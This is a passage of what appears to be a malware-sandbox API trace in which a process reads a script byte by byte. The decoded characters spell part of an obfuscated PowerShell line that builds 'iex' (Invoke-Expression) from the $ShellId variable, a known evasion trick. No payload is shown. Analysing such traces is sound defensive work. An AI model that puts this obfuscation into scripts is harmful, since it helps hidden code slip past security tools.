	[0058.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e332, cchWideChar=1 | out: lpWideCharStr="L") returned 1
	[0058.648] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.648] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e334, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0058.648] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.648] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e336, cchWideChar=1 | out: lpWideCharStr="v") returned 1
	[0058.648] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.648] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e338, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0058.648] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.648] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e33a, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0058.648] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.648] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e33c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.648] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.648] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e33e, cchWideChar=1 | out: lpWideCharStr="(") returned 1
	[0058.648] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.649] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e340, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.649] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.649] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.649] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e342, cchWideChar=1 | out: lpWideCharStr="$") returned 1
	[0058.649] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.649] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.649] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e344, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.649] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.649] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.649] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e346, cchWideChar=1 | out: lpWideCharStr="H") returned 1
	[0058.649] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.649] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.649] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e348, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.649] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.649] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.649] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e34a, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0058.649] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.649] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.649] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e34c, cchWideChar=1 | out: lpWideCharStr="L") returned 1
	[0058.649] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.649] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.649] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e34e, cchWideChar=1 | out: lpWideCharStr="I") returned 1
	[0058.649] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.649] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.650] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e350, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0058.650] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.650] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.650] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e352, cchWideChar=1 | out: lpWideCharStr="[") returned 1
	[0058.650] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.650] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.650] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e354, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0058.650] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.650] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.650] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e356, cchWideChar=1 | out: lpWideCharStr="]") returned 1
	[0058.650] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.650] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.650] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e358, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.650] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.650] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.650] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e35a, cchWideChar=1 | out: lpWideCharStr="$") returned 1
	[0058.650] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.650] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.650] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e35c, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.650] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.650] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.650] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e35e, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0058.650] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.651] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.651] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e360, cchWideChar=1 | out: lpWideCharStr="E") returned 1
	[0058.651] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.651] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.651] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e362, cchWideChar=1 | out: lpWideCharStr="L") returned 1
	[0058.651] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.651] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.651] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e364, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0058.651] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.651] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.651] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e366, cchWideChar=1 | out: lpWideCharStr="I") returned 1
	[0058.651] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.651] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.651] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e368, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0058.651] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.651] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.651] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e36a, cchWideChar=1 | out: lpWideCharStr="[") returned 1
	[0058.651] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.651] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.651] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e36c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0058.651] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.651] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.652] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e36e, cchWideChar=1 | out: lpWideCharStr="3") returned 1
	[0058.652] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.652] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.652] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e370, cchWideChar=1 | out: lpWideCharStr="]") returned 1
	[0058.652] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.652] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.652] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e372, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.652] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.652] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.652] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e374, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.652] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.652] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.652] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e376, cchWideChar=1 | out: lpWideCharStr="X") returned 1
	[0058.652] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.652] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.652] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e378, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.652] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.652] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.652] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e37a, cchWideChar=1 | out: lpWideCharStr=")") returned 1
	[0058.652] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.652] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.653] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e37c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.653] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.653] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.653] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e37e, cchWideChar=1 | out: lpWideCharStr="(") returned 1
	[0058.653] _get_osfhandle (_FileHandle=0) returned 0x58
